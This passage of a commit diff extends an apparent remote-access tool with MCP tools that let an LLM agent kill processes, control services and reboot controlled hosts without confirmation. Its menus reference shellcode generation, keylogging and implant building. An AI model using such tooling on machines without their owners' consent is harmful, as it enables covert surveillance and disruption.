写工具(kill/operate/control_service)**;是则调 `OnSystemReady`/`OnServiceReady`(返回 true
|
||||||
|
= 已接管、不 `CancelIO`),否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
|
||||||
|
分支调用 `OnRegeditReady`(`2015RemoteDlg.cpp:6561`)的写法一致,避免与人工界面抢子连接。
|
||||||
|
|
||||||
|
## 4. 工具 schema
|
||||||
|
|
||||||
|
### 4.1 `kill_process`
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
// inputSchema
|
||||||
|
{ "id": "string(必填,主机 id)",
|
||||||
|
"pids": ["integer 数组(必填,至少 1 个进程 PID)"] }
|
||||||
|
// outputSchema
|
||||||
|
{ "remaining": ["integer 数组(杀完后仍在运行的 PID)"] }
|
||||||
|
```
|
||||||
|
|
||||||
|
- payload:`[COMMAND_KILLPROCESS:1][pid:4]*N`(DWORD 小端,与 `SystemDlg::OnPlistKill` 一致)。
|
||||||
|
- 成功判定:返回 `remaining`(发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功)。
|
||||||
|
- 描述需写明:`TerminateProcess` 强制结束、不保存进程状态,可能造成数据丢失。
|
||||||
|
|
||||||
|
### 4.2 `operate_window`
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
// inputSchema
|
||||||
|
{ "id": "string(必填)",
|
||||||
|
"hwnd": "integer(必填,窗口句柄,取 list_windows 返回的 hwnd)",
|
||||||
|
"action": "string(必填)close|show|hide|minimize|maximize|restore" }
|
||||||
|
// outputSchema
|
||||||
|
{ "ok": "boolean" }
|
||||||
|
```
|
||||||
|
|
||||||
|
- payload(与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致,
|
||||||
|
**固定 20 字节零填充 `BYTE lpMsgBuf[20]`,hwnd 一律按 `DWORD`(4 字节)小端写入 offset 1**):
|
||||||
|
- `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`(客户端 `PostMessage WM_CLOSE`)。
|
||||||
|
- 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`,dHow 映射(MFC 实测值):
|
||||||
|
`hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
|
||||||
|
`maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
|
||||||
|
- 缓冲器必须补零到 20 字节:客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`,在 x64 是 8 字节,
|
||||||
|
而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节,读出的 HWND 才是正确值;
|
||||||
|
若 MCP 发最小 5 字节包,会越界读。`test` 分支(`TestWindow`)读 `[hwnd:4][dHow:4]` 共 9 字节,
|
||||||
|
20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此,MCP 照搬。
|
||||||
|
|
||||||
|
### 4.3 `control_service`
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
// inputSchema
|
||||||
|
{ "id": "string(必填)",
|
||||||
|
"service_name": "string(必填,服务名,取 list_services 返回的 service_name)",
|
||||||
|
"action": "string(必填)start|stop|set_auto|set_manual" }
|
||||||
|
// outputSchema
|
||||||
|
{ "ok": "boolean" }
|
||||||
|
```
|
||||||
|
|
||||||
|
- payload:`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`,
|
||||||
|
bCmd:`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
|
||||||
|
- 边界:客户端 `ServicesManager` 仅实现这 4 项;**无** pause / continue / delete
|
||||||
|
(它们属于 `MachineDlg` 机器管理的另一条链路,留待 P8 评估)。
|
||||||
|
|
||||||
|
### 4.4 `power_action`
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
// inputSchema
|
||||||
|
{ "id": "string(必填)",
|
||||||
|
"action": "string(必填)logout|shutdown|reboot" }
|
||||||
|
// outputSchema
|
||||||
|
{ "ok": "boolean" }
|
||||||
|
```
|
||||||
|
|
||||||
|
- payload:`TOKEN_MACHINE_MANAGE [token:1][type:1]`,type:`logout=0` / `shutdown=1` / `reboot=2`
|
||||||
|
(`enum MachineCommand` 顺序)。MFC 发的是 32 字节缓冲(`2015RemoteDlg::MachineManage`),
|
||||||
|
但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`,故 2 字节即可。
|
||||||
|
- 走**主连接**、发完即走、无响应;主机将立即离线。描述需明确「不可撤销、主机下线」。
|
||||||
|
- 需客户端管理员权限(`EnableShutdownPrivilege`),无权限时客户端静默忽略(同 MFC 现状)。
|
||||||
|
- **仅 Windows 客户端**:Linux 侧文档写的是 `COMMAND_SESSION`(`linux/README.md`),但代码中
|
||||||
|
未发现对应 handler,即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
|
||||||
|
`-32005`,不尝试发送。
|
||||||
|
|
||||||
|
## 5. 安全门(单一 `McpManage` 开关)
|
||||||
|
|
||||||
|
- 新增配置键 `settings/McpManage`(默认 `0`,关闭)。
|
||||||
|
- 生效条件:`McpManage=1` 且 `McpReadonly=0`;二者任一不满足即隐藏 4 个工具。
|
||||||
|
- 双保险:`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验(与 `exec_command` 的
|
||||||
|
`IsReadonly()` 双保险一致)。
|
||||||
|
- `McpSettingsDlg` 增加「管理操作(进程/窗口/服务/电源)」复选框,写入 `THIS_CFG`。
|
||||||
|
- 审计:每次写操作写入服务端审计日志(`get_audit_log` 可见),记录 tool + host id + 参数摘要 + 结果。
|
||||||
|
|
||||||
|
## 6. 单飞行与并发约束
|
||||||
|
|
||||||
|
- 沿用现有约束:同 host 同一时刻只允许一个 MCP 挂起请求(`BeginPending` 保证)。
|
||||||
|
- 写工具与只读工具共用 `m_Pending`,天然互斥;与 MFC 对话框并存(各用独立子连接,互不干扰)。
|
||||||
|
- 超时沿用 `kMcpToolTimeoutMs = 20000`;`power_action` 因无响应、发完即返回成功。
|
||||||
|
|
||||||
|
## 7. 边界与风险
|
||||||
|
|
||||||
|
1. **杀进程/关机/重启不可逆**:描述与审计都需显著标注;不提供「确认对话框」,
|
||||||
|
确认责任在调用方(MCP 客户端/LLM agent)。
|
||||||
|
2. **kill 无客户端回执**:成功与否靠「新进程列表不含目标 pid」推断,`TerminateProcess`
|
||||||
|
失败(权限不足等)时进程仍在 `remaining`,由调用方判断。
|
||||||
|
3. **服务操作仅 4 项**:pause/continue/delete 缺省,如需需评估 `MachineDlg` 链路。
|
||||||
|
4. **窗口句柄时效**:hwnd 可能已失效(窗口已关闭),客户端 `PostMessage/ShowWindow`
|
||||||
|
对失效句柄静默无操作,`operate_window` 的 `ok=true` 只表示「已下发」。
|
||||||
|
5. **子连接竞态**:写工具接管子连接后若客户端断线,`OfflineProc` 调 `OnManageSubClosed`
|
||||||
|
清理挂起(置 done 并清 `subCtx`、唤醒等待线程;**不擦表**,由 `WaitPendingWrite` 自行擦除,
|
||||||
|
防迭代器失效)。清 `subCtx` 是关键——context 对象被连接池回收复用,若超时路径仍对旧指针
|
||||||
|
`CancelIO` 会误伤新连接(与 `OnTerminalClosed`/`OnScreenControlClosed` 同理)。
|
||||||
|
|
||||||
|
## 8. P8 / P9 路线图(后续)
|
||||||
|
|
||||||
|
- **P8 文件与信息面**:`delete_file/delete_directory`、`create_folder`、`rename_file`、
|
||||||
|
`open_file`;`list_network_connections`、`list_software`、`get/set_hosts`、
|
||||||
|
`list_scheduled_tasks`(+增删启停)、`get_keylog`。
|
||||||
|
- **P9 进阶与 NL 增强**:`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
|
||||||
|
`open_url`/`send_message`;**批量操作**(`ids[]`/`group` 维度);离线主机枚举
|
||||||
|
`list_all_hosts`。
|
||||||
|
|
||||||
|
## 9. 实现与验证记录(2026-10-01)
|
||||||
|
|
||||||
|
已实现并端到端验证(真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware,id=3441387693643366974):
|
||||||
|
|
||||||
|
- `kill_process` → `remaining:[]`;`operate_window`(restore) → `ok:true`;
|
||||||
|
`control_service`(set_manual AJRouter) → `ok:true`;`power_action`(reboot) → `ok:true`(发完即走)。
|
||||||
|
三个写工具的确认包(第二个 `TOKEN_*LIST`)均正常到达,列表均 >1460 字节触发 HTTP 分片。
|
||||||
|
- 落地:`McpManage` 开关 + `McpReadonly=0` 双保险;`McpSettingsDlg` 增「管理操作」复选框;
|
||||||
|
主工具栏增 `MCP` 入口按钮(`ID_MCP_SETTINGS`);en/de/zh-TW 三语文案同步。
|
||||||
|
- 前置解析 bug(验证中暴露,已单独提交 `a72e6eb`):`HeaderParser::Parse` 的
|
||||||
|
`m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`,导致写工具的确认包被
|
||||||
|
`PARSER_FAILED` 丢弃(「首包能到、后续包到不了」);修复为 `else if (m_bShouldUnmask != TRUE)`。
|
||||||
Binary file not shown.
@@ -20,6 +20,7 @@
|
|||||||
#include "AudioDlg.h"
|
#include "AudioDlg.h"
|
||||||
#include "RegisterDlg.h"
|
#include "RegisterDlg.h"
|
||||||
#include "ServicesDlg.h"
|
#include "ServicesDlg.h"
|
||||||
|
#include "ConnectionsDlg.h"
|
||||||
#include "VideoDlg.h"
|
#include "VideoDlg.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <map>
|
#include <map>
|
||||||
@@ -27,6 +28,7 @@
|
|||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include "KeyBoardDlg.h"
|
#include "KeyBoardDlg.h"
|
||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
|
#include "ShareHostDlg.h"
|
||||||
#include "CPasswordDlg.h"
|
#include "CPasswordDlg.h"
|
||||||
#include "FeatureFlags.h"
|
#include "FeatureFlags.h"
|
||||||
#include "FeatureLimitsDlg.h"
|
#include "FeatureLimitsDlg.h"
|
||||||
@@ -43,6 +45,9 @@
|
|||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include "common/skCrypter.h"
|
#include "common/skCrypter.h"
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
|
#include "QualityLevelsDlg.h"
|
||||||
|
#include "CPreviewLevelsDlg.h"
|
||||||
|
#include "CFileSpeedDlg.h"
|
||||||
#include "McpServer.h"
|
#include "McpServer.h"
|
||||||
#include "McpSettingsDlg.h"
|
#include "McpSettingsDlg.h"
|
||||||
#include "common/md5.h"
|
#include "common/md5.h"
|
||||||
@@ -921,6 +926,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||||
ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
|
ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
|
||||||
|
ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)
|
||||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||||
@@ -987,6 +993,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||||
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||||
|
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
||||||
|
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
|
||||||
|
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
|
||||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
@@ -1013,6 +1022,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_IMPORT_LICENSE, &CMy2015RemoteDlg::OnToolImportLicense)
|
ON_COMMAND(ID_TOOL_IMPORT_LICENSE, &CMy2015RemoteDlg::OnToolImportLicense)
|
||||||
ON_COMMAND(ID_TOOL_V2_PRIVATEKEY, &CMy2015RemoteDlg::OnToolV2PrivateKey)
|
ON_COMMAND(ID_TOOL_V2_PRIVATEKEY, &CMy2015RemoteDlg::OnToolV2PrivateKey)
|
||||||
ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
|
ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
|
||||||
|
ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels)
|
||||||
|
ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels)
|
||||||
|
ON_COMMAND(ID_TOOL_FILE_SPEED, &CMy2015RemoteDlg::OnFileTransferSpeed)
|
||||||
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
|
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
|
||||||
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
|
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
|
||||||
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
|
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
|
||||||
@@ -1409,6 +1421,11 @@ VOID CMy2015RemoteDlg::CreateToolBar()
|
|||||||
m_ToolBar.SetButtonText(11, _TR("生成服务端"));
|
m_ToolBar.SetButtonText(11, _TR("生成服务端"));
|
||||||
m_ToolBar.SetButtonText(12, _TR("搜索"));
|
m_ToolBar.SetButtonText(12, _TR("搜索"));
|
||||||
m_ToolBar.SetButtonText(13, _TR("帮助"));
|
m_ToolBar.SetButtonText(13, _TR("帮助"));
|
||||||
|
m_ToolBar.SetButtonText(14, _T("Lang/语言"));
|
||||||
|
m_ToolBar.SetButtonText(15, _T("MCP"));
|
||||||
|
m_ToolBar.SetButtonText(16, _TR("连接管理"));
|
||||||
|
m_ToolBar.SetButtonText(17, _TR("远程交谈"));
|
||||||
|
m_ToolBar.SetButtonText(18, _TR("主机管理"));
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
||||||
@@ -1459,7 +1476,7 @@ VOID CMy2015RemoteDlg::CreateToolBar()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 如果所有按钮都被隐藏,则隐藏整个工具栏
|
// 如果所有按钮都被隐藏,则隐藏整个工具栏
|
||||||
if (hiddenCount >= 14) {
|
if (hiddenCount >= 16) {
|
||||||
m_ToolBar.ShowWindow(SW_HIDE);
|
m_ToolBar.ShowWindow(SW_HIDE);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2203,6 +2220,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings", "McpRemoteControl", 0) != 0);
|
McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings", "McpRemoteControl", 0) != 0);
|
||||||
// 文件传输开关:默认关;仅 download_file 门控(不要求只读关)。
|
// 文件传输开关:默认关;仅 download_file 门控(不要求只读关)。
|
||||||
McpServer().SetFileTransferEnabled(THIS_CFG.GetInt("settings", "McpFileTransfer", 0) != 0);
|
McpServer().SetFileTransferEnabled(THIS_CFG.GetInt("settings", "McpFileTransfer", 0) != 0);
|
||||||
|
// P7 管理控制开关:默认关;要求只读关(McpReadonly=0)才生效(工具列表/分派双重门控)。
|
||||||
|
McpServer().SetManageEnabled(THIS_CFG.GetInt("settings", "McpManage", 0) != 0);
|
||||||
if (!McpServer().Start(mcpBind, mcpPort)) {
|
if (!McpServer().Start(mcpBind, mcpPort)) {
|
||||||
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
|
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
|
||||||
} else {
|
} else {
|
||||||
@@ -2211,7 +2230,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
}
|
}
|
||||||
|
|
||||||
UPDATE_SPLASH(18, "正在初始化文件上传模块...");
|
UPDATE_SPLASH(18, "正在初始化文件上传模块...");
|
||||||
int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
|
int chunkKb = 64, durMs = 50;
|
||||||
|
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||||
|
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||||
|
|
||||||
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
||||||
@@ -2405,6 +2426,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
// 这里读完 INI 后再 Apply 一次纠正过来。
|
// 这里读完 INI 后再 Apply 一次纠正过来。
|
||||||
LoadThumbnailSettingsFromCfg();
|
LoadThumbnailSettingsFromCfg();
|
||||||
ApplyThumbnailSettings();
|
ApplyThumbnailSettings();
|
||||||
|
LoadQualityProfilesFromCfg();
|
||||||
|
LoadPreviewProfilesFromCfg();
|
||||||
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||||
|
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
@@ -4478,6 +4501,18 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnChat()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天)
|
||||||
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
void CMy2015RemoteDlg::OnMachineManager()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
|
||||||
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||||
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
||||||
@@ -4709,6 +4744,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
|||||||
{
|
{
|
||||||
if (!ShouldRemoteControl())
|
if (!ShouldRemoteControl())
|
||||||
return;
|
return;
|
||||||
|
// 先下发当前文件传输速度档位,再开远程桌面:避免被控端 ScreenManager 先初始化
|
||||||
|
// 文件上传模块(进程级引用计数)把速度锁成旧值。
|
||||||
|
SendFileSpeedCommand();
|
||||||
int n = THIS_CFG.GetInt("settings", "DXGI");
|
int n = THIS_CFG.GetInt("settings", "DXGI");
|
||||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||||
@@ -4718,6 +4756,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||||||
{
|
{
|
||||||
|
// 先下发文件传输速度档位,再发 COMMAND_LIST_DRIVE 开文件管理:保证被控端
|
||||||
|
// CFileManager 构造时读到的 [transfer] 配置已是最新值。
|
||||||
|
SendFileSpeedCommand();
|
||||||
BYTE bToken = COMMAND_LIST_DRIVE;
|
BYTE bToken = COMMAND_LIST_DRIVE;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
@@ -5194,6 +5235,12 @@ BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
|||||||
McpServer().OnScreenControlClosed(ContextObject);
|
McpServer().OnScreenControlClosed(ContextObject);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MCP P7 管理写操作(kill/窗口/服务)接管的子连接断开:清挂起,避免超时路径对
|
||||||
|
// 已回收(连接池复用)的 context 误 CancelIO(与终端/屏幕子连接的清理同理)。
|
||||||
|
if (McpServer().IsRunning()) {
|
||||||
|
McpServer().OnManageSubClosed(ContextObject);
|
||||||
|
}
|
||||||
|
|
||||||
SOCKET nSocket = ContextObject->sClientSocket;
|
SOCKET nSocket = ContextObject->sClientSocket;
|
||||||
|
|
||||||
CDialogBase* p = (CDialogBase*)ContextObject->hDlg;
|
CDialogBase* p = (CDialogBase*)ContextObject->hDlg;
|
||||||
@@ -6533,8 +6580,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
case TOKEN_PSLIST: { // 进程管理【x】
|
case TOKEN_PSLIST: { // 进程管理【x】
|
||||||
// P2b:MCP 挂起时接管。进程/窗口列表无请求 id,按 device_id 匹配并同步拷贝
|
// P2b:MCP 挂起时接管。进程/窗口列表无请求 id,按 device_id 匹配并同步拷贝
|
||||||
// (此时 IO 线程阻塞在 NotifyProc,缓冲尚未被覆盖,拷贝安全)。
|
// (此时 IO 线程阻塞在 NotifyProc,缓冲尚未被覆盖,拷贝安全)。
|
||||||
|
// P7:写工具(kill_process/operate_window)的「就绪包」与「确认包」是同一 token,
|
||||||
|
// OnSystemReady 命中就绪包时接管子连接并下发写命令(返回 true、不 CancelIO),
|
||||||
|
// 命中确认包或只读工具时返回 false,走 TakeMainResponse + CancelIO 收尾。
|
||||||
uint64_t devId = ContextObject->GetClientID();
|
uint64_t devId = ContextObject->GetClientID();
|
||||||
if (McpServer().IsPending(devId)) {
|
if (McpServer().IsPending(devId)) {
|
||||||
|
if (McpServer().OnSystemReady(devId, ContextObject))
|
||||||
|
break;
|
||||||
McpServer().TakeMainResponse(devId, ContextObject->GetBuffer(0), ContextObject->GetBufferLength());
|
McpServer().TakeMainResponse(devId, ContextObject->GetBuffer(0), ContextObject->GetBufferLength());
|
||||||
ContextObject->CancelIO(); // 用完即关,避免子链接泄漏(仿 WebService 终端关闭)
|
ContextObject->CancelIO(); // 用完即关,避免子链接泄漏(仿 WebService 终端关闭)
|
||||||
break;
|
break;
|
||||||
@@ -6577,8 +6629,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
case TOKEN_SERVERLIST: { // 服务管理【x】
|
case TOKEN_SERVERLIST: { // 服务管理【x】
|
||||||
// P3:MCP 挂起时接管。服务列表为一次性子链接回传(CServicesManager 构造即发),
|
// P3:MCP 挂起时接管。服务列表为一次性子链接回传(CServicesManager 构造即发),
|
||||||
// 取走即 CancelIO 关子链接(无 MFC 对话框续用该子链接)。
|
// 取走即 CancelIO 关子链接(无 MFC 对话框续用该子链接)。
|
||||||
|
// P7:control_service 的就绪/确认是同一 token,OnServiceReady 命中就绪包时接管并下发
|
||||||
|
// COMMAND_SERVICECONFIG(返回 true、不 CancelIO),确认包走 TakeMainResponse 收尾。
|
||||||
uint64_t devId = ContextObject->GetClientID();
|
uint64_t devId = ContextObject->GetClientID();
|
||||||
if (McpServer().IsPending(devId)) {
|
if (McpServer().IsPending(devId)) {
|
||||||
|
if (McpServer().OnServiceReady(devId, ContextObject))
|
||||||
|
break;
|
||||||
McpServer().TakeMainResponse(devId, szBuffer, len);
|
McpServer().TakeMainResponse(devId, szBuffer, len);
|
||||||
ContextObject->CancelIO();
|
ContextObject->CancelIO();
|
||||||
break;
|
break;
|
||||||
@@ -6586,6 +6642,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case TOKEN_CONNECTION_LIST: { // 连接管理【x】
|
||||||
|
g_2015RemoteDlg->SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject);
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
|
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
@@ -7777,6 +7837,11 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
|
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
return OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
|
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
|
||||||
@@ -7896,7 +7961,7 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineShare()
|
void CMy2015RemoteDlg::OnOnlineShare()
|
||||||
{
|
{
|
||||||
CInputDialog dlg(this);
|
CShareHostDlg dlg(this, FALSE);
|
||||||
dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
|
dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
|
||||||
dlg.SetHistoryKey("ShareAddress");
|
dlg.SetHistoryKey("ShareAddress");
|
||||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||||
@@ -7905,9 +7970,10 @@ void CMy2015RemoteDlg::OnOnlineShare()
|
|||||||
